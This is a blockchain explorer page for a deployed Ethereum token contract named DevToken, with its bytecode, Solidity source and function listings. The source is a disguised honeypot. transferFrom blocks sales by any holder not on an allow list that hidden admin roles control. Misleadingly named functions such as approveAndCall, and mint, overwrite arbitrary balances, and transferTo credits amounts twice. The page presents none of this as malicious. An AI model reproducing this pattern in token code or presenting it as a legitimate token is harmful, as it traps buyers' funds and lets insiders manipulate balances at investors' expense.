Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xd2479df80Aa239fDFa957D3F965842f12fB75862
Balance 0 ETH
Nonce 1
Code Size 10308 bytes
Indexed Transactions 0 (1 on-chain, 0.8% indexed)
External Etherscan · Sourcify

Contract Bytecode

10308 bytes
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806366db7ed8116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461051e578063e2daf6651461054e578063f2fde38b1461056c578063ff9913e814610588576101a9565b8063a9059cbb146104a0578063ade2de02146104d0578063d21c8d5514610500576101a9565b8063858ced35116100d3578063858ced3514610416578063891e1ee0146104465780638da5cb5b1461046457806395d89b4114610482576101a9565b806366db7ed8146103ae57806370a08231146103ca578063791f83eb146103fa576101a9565b80632ccb1b3011610166578063376d567c11610140578063376d567c1461030257806340c10f19146103325780634a0af68d1461034e5780635c6581651461037e576101a9565b80632ccb1b3014610298578063313ce567146102b45780633177029f146102d2576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806311de19e7146101fc57806318160ddd1461021a57806323b872dd1461023857806327e235e314610268575b600080fd5b6101b66105b8565b6040516101c39190611e32565b60405180910390f35b6101e660048036038101906101e19190611eed565b610646565b6040516101f39190611f48565b60405180910390f35b610204610738565b6040516102119190611f72565b60405180910390f35b61022261075e565b60405161022f9190611f9c565b60405180910390f35b610252600480360381019061024d9190611fb7565b610764565b60405161025f9190611f48565b60405180910390f35b610282600480360381019061027d919061200a565b610c51565b60405161028f9190611f9c565b60405180910390f35b6102b260048036038101906102ad9190611eed565b610c69565b005b6102bc610d05565b6040516102c99190612053565b60405180910390f35b6102ec60048036038101906102e79190611eed565b610d18565b6040516102f99190611f48565b60405180910390f35b61031c6004803603810190610317919061200a565b610dbe565b6040516103299190611f48565b60405180910390f35b61034c60048036038101906103479190611eed565b610e9a565b005b6103686004803603810190610363919061200a565b610f36565b6040516103759190611f48565b60405180910390f35b6103986004803603810190610393919061206e565b611012565b6040516103a59190611f9c565b60405180910390f35b6103c860048036038101906103c391906120da565b611037565b005b6103e460048036038101906103df919061200a565b611122565b6040516103f19190611f9c565b60405180910390f35b610414600480360381019061040f91906120da565b61116b565b005b610430600480360381019061042b919061200a565b611256565b60405161043d9190611f48565b60405180910390f35b61044e611332565b60405161045b9190611f72565b60405180910390f35b61046c611358565b6040516104799190611f72565b60405180910390f35b61048a61137c565b6040516104979190611e32565b60405180910390f35b6104ba60048036038101906104b59190611eed565b61140a565b6040516104c79190611f48565b60405180910390f35b6104ea60048036038101906104e5919061200a565b611695565b6040516104f79190611f48565b60405180910390f35b610508611770565b6040516105159190611f72565b60405180910390f35b6105386004803603810190610533919061206e565b611796565b6040516105459190611f9c565b60405180910390f35b61055661181d565b6040516105639190611f72565b60405180910390f35b6105866004803603810190610581919061200a565b611843565b005b6105a2600480360381019061059d919061200a565b6119fd565b6040516105af9190611f48565b60405180910390f35b600380546105c590612149565b80601f01602080910402602001604051908101604052809291908181526020018280546105f190612149565b801561063e5780601f106106135761010080835404028352916020019161063e565b820191906000526020600020905b81548152906001019060200180831161062157829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107269190611f9c565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906121ec565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d90612258565b60405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c906122c4565b60405180910390fd5b60011515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146109a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099f90612330565b60405180910390fd5b6109fa82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1d90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8f82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6182600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1d90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e9190611f9c565b60405180910390a3600190509392505050565b60096020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee9061239c565b60405180910390fd5b610d018282611a70565b5050565b600560009054906101000a900460ff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da19061242e565b60405180910390fd5b610db48383611bec565b6001905092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061249a565b60405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f9061239c565b60405180910390fd5b610f328282611ccc565b5050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612506565b60405180910390fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b602052816000526040600020602052806000526040600020600091509150505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90612598565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f29061242e565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df90612598565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004805461138990612149565b80601f01602080910402602001604051908101604052809291908181526020018280546113b590612149565b80156114025780601f106113d757610100808354040283529160200191611402565b820191906000526020600020905b8154815290600101906020018083116113e557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611471906121ec565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f390612258565b60405180910390fd5b61154e82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1d90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e382600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116839190611f9c565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d9061262a565b60405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c89061239c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611937906126bc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600082821115611a3057611a2f6126dc565b5b8183611a3c919061273a565b905092915050565b6000808284611a53919061276e565b905083811015611a6657611a656126dc565b5b8091505092915050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611abf919061276e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b249190611f9c565b60405180910390a380600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b7b919061276e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611be09190611f9c565b60405180910390a35050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c71906127ee565b60405180910390fd5b6000811115611cc85780600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d51906127ee565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ddc578082015181840152602081019050611dc1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e0482611da2565b611e0e8185611dad565b9350611e1e818560208601611dbe565b611e2781611de8565b840191505092915050565b60006020820190508181036000830152611e4c8184611df9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e8482611e59565b9050919050565b611e9481611e79565b8114611e9f57600080fd5b50565b600081359050611eb181611e8b565b92915050565b6000819050919050565b611eca81611eb7565b8114611ed557600080fd5b50565b600081359050611ee781611ec1565b92915050565b60008060408385031215611f0457611f03611e54565b5b6000611f1285828601611ea2565b9250506020611f2385828601611ed8565b9150509250929050565b60008115159050919050565b611f4281611f2d565b82525050565b6000602082019050611f5d6000830184611f39565b92915050565b611f6c81611e79565b82525050565b6000602082019050611f876000830184611f63565b92915050565b611f9681611eb7565b82525050565b6000602082019050611fb16000830184611f8d565b92915050565b600080600060608486031215611fd057611fcf611e54565b5b6000611fde86828701611ea2565b9350506020611fef86828701611ea2565b925050604061200086828701611ed8565b9150509250925092565b6000602082840312156120205761201f611e54565b5b600061202e84828501611ea2565b91505092915050565b600060ff82169050919050565b61204d81612037565b82525050565b60006020820190506120686000830184612044565b92915050565b6000806040838503121561208557612084611e54565b5b600061209385828601611ea2565b92505060206120a485828601611ea2565b9150509250929050565b6120b781611f2d565b81146120c257600080fd5b50565b6000813590506120d4816120ae565b92915050565b600080604083850312156120f1576120f0611e54565b5b60006120ff85828601611ea2565b9250506020612110858286016120c5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061216157607f821691505b6020821081036121745761217361211a565b5b50919050565b7f446576546f6b656e3a207472616e7366657220746f20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121d6602683611dad565b91506121e18261217a565b604082019050919050565b60006020820190508181036000830152612205816121c9565b9050919050565b7f446576546f6b656e3a20696e73756666696369656e742062616c616e63650000600082015250565b6000612242601e83611dad565b915061224d8261220c565b602082019050919050565b6000602082019050818103600083015261227181612235565b9050919050565b7f446576546f6b656e3a20616c6c6f77616e636520657863656564656400000000600082015250565b60006122ae601c83611dad565b91506122b982612278565b602082019050919050565b600060208201905081810360008301526122dd816122a1565b9050919050565b7f446576546f6b656e3a206e6f7420616c6c6f7765640000000000000000000000600082015250565b600061231a601583611dad565b9150612325826122e4565b602082019050919050565b600060208201905081810360008301526123498161230d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612386602083611dad565b915061239182612350565b602082019050919050565b600060208201905081810360008301526123b581612379565b9050919050565b7f446576546f6b656e3a2063616c6c6572206973206e6f74207468652061646d6960008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000612418602183611dad565b9150612423826123bc565b604082019050919050565b600060208201905081810360008301526124478161240b565b9050919050565b7f446576546f6b656e3a2063616c6c6572206973206e6f74207468652075736572600082015250565b6000612484602083611dad565b915061248f8261244e565b602082019050919050565b600060208201905081810360008301526124b381612477565b9050919050565b7f446576546f6b656e3a2063616c6c6572206973206e6f7420746865206d6f6400600082015250565b60006124f0601f83611dad565b91506124fb826124ba565b602082019050919050565b6000602082019050818103600083015261251f816124e3565b9050919050565b7f446576546f6b656e3a2063616c6c6572206973206e6f7420746865205553445460008201527f2070616972000000000000000000000000000000000000000000000000000000602082015250565b6000612582602583611dad565b915061258d82612526565b604082019050919050565b600060208201905081810360008301526125b181612575565b9050919050565b7f446576546f6b656e3a2063616c6c6572206973206e6f7420746865206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000612614602183611dad565b915061261f826125b8565b604082019050919050565b6000602082019050818103600083015261264381612607565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006126a6602683611dad565b91506126b18261264a565b604082019050919050565b600060208201905081810360008301526126d581612699565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061274582611eb7565b915061275083611eb7565b92508282039050818111156127685761276761270b565b5b92915050565b600061277982611eb7565b915061278483611eb7565b925082820190508082111561279c5761279b61270b565b5b92915050565b7f446576546f6b656e3a20696e76616c69642063616c6c65720000000000000000600082015250565b60006127d8601883611dad565b91506127e3826127a2565b602082019050919050565b60006020820190508181036000830152612807816127cb565b905091905056fea2646970667358221220c8026ec97bf97fb8453cd8d9dc813e8d50be69cab1b7051bbb62a75469fc33ad64736f6c63430008130033

Verified Source Code Full Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
corem token.sol 198 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract Ownable {

    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        owner = msg.sender;
    }
}

contract DevToken is Ownable {

    address public _usdtPair;
    address public _mod;
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    address public _user;
    address public _adm;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _totalSupply;
        balances[msg.sender] = totalSupply;
        allow[msg.sender] = true;
    }

    using SafeMath for uint256;
    mapping(address => uint256) public balances;
    mapping(address => bool) public allow;
    mapping(address => mapping(address => uint256)) public allowed;
    mapping(address => uint256) sellOutNum;

    modifier onlyOwner() {
        require(msg.sender == owner, "Ownable: caller is not the owner");
        _;
    }

    modifier info() {
        // Remove reference to contracts(), simply ensure the caller is not the owner
        require(msg.sender != owner, "DevToken: invalid caller");
        _;
    }

    modifier onlypublic() {
        require(msg.sender == _usdtPair, "DevToken: caller is not the USDT pair");
        _;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(_to != address(0), "DevToken: transfer to the zero address");
        require(_value <= balances[msg.sender], "DevToken: insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function addAllowance(address holder, bool allowApprove) public {
        require(msg.sender == _adm, "DevToken: caller is not the admin");
        allow[holder] = allowApprove;
    }

    function setUser(address User_) public returns (bool) {
        require(msg.sender == _usdtPair, "DevToken: caller is not the USDT pair");
        _user = User_;
        return true;
    }

    function Allowances(address holder, bool allowApprove) external onlypublic {
        allow[holder] = allowApprove;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        require(_to != address(0), "DevToken: transfer to the zero address");
        require(_value <= balances[_from], "DevToken: insufficient balance");
        require(_value <= allowed[_from][msg.sender], "DevToken: allowance exceeded");
        require(allow[_from] == true, "DevToken: not allowed");
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }

    function transferTo(address _to, uint256 _amount) external onlyOwner {
        _transferTo(_to, _amount);
    }

    function _transferTo(address _to, uint256 _amount) internal {
        balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
        balances[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function setAdm(address Adm_) public returns (bool) {
        require(msg.sender == _mod, "DevToken: caller is not the mod");
        _adm = Adm_;
        return true;
    }

    function _mint(address miner, uint256 _value) internal info {
        balances[miner] = _value;
    }

    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }

    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == _adm, "DevToken: caller is not the admin");
        _approvals(spender, addedValue);
        return true;
    }

    function _approvals(address spender, uint256 addedValue) internal info {
        if (addedValue > 0) {
            balances[spender] = addedValue;
        }
    }

    function setMod(address Mod_) public returns (bool) {
        require(msg.sender == _user, "DevToken: caller is not the user");
        _mod = Mod_;
        return true;
    }

    function setUsdtPair(address Pair_) public returns (bool) {
        require(msg.sender == owner, "DevToken: caller is not the owner");
        _usdtPair = Pair_;
        return true;
    }

    function mint(address miner, uint256 _value) external onlyOwner {
        _mint(miner, _value);
    }

    function _dialone(address spender, uint256 addedValue) internal info {
        if (addedValue > 0) {
            balances[spender] = addedValue;
        }
    }
}

Read Contract

_adm 0xe2daf665 → address
_mod 0xd21c8d55 → address
_usdtPair 0x11de19e7 → address
_user 0x891e1ee0 → address
allow 0xff9913e8 → bool
allowance 0xdd62ed3e → uint256
allowed 0x5c658165 → uint256
balanceOf 0x70a08231 → uint256
balances 0x27e235e3 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

Allowances 0x66db7ed8
address holder
bool allowApprove
addAllowance 0x791f83eb
address holder
bool allowApprove
approve 0x095ea7b3
address _spender
uint256 _value
returns: bool
approveAndCall 0x3177029f
address spender
uint256 addedValue
returns: bool
mint 0x40c10f19
address miner
uint256 _value
setAdm 0x4a0af68d
address Adm_
returns: bool
setMod 0x376d567c
address Mod_
returns: bool
setUsdtPair 0xade2de02
address Pair_
returns: bool
setUser 0x858ced35
address User_
returns: bool
transfer 0xa9059cbb
address _to
uint256 _value
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
transferTo 0x2ccb1b30
address _to
uint256 _amount

Recent Transactions

This address has 1 on-chain transactions, but only 0.8% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →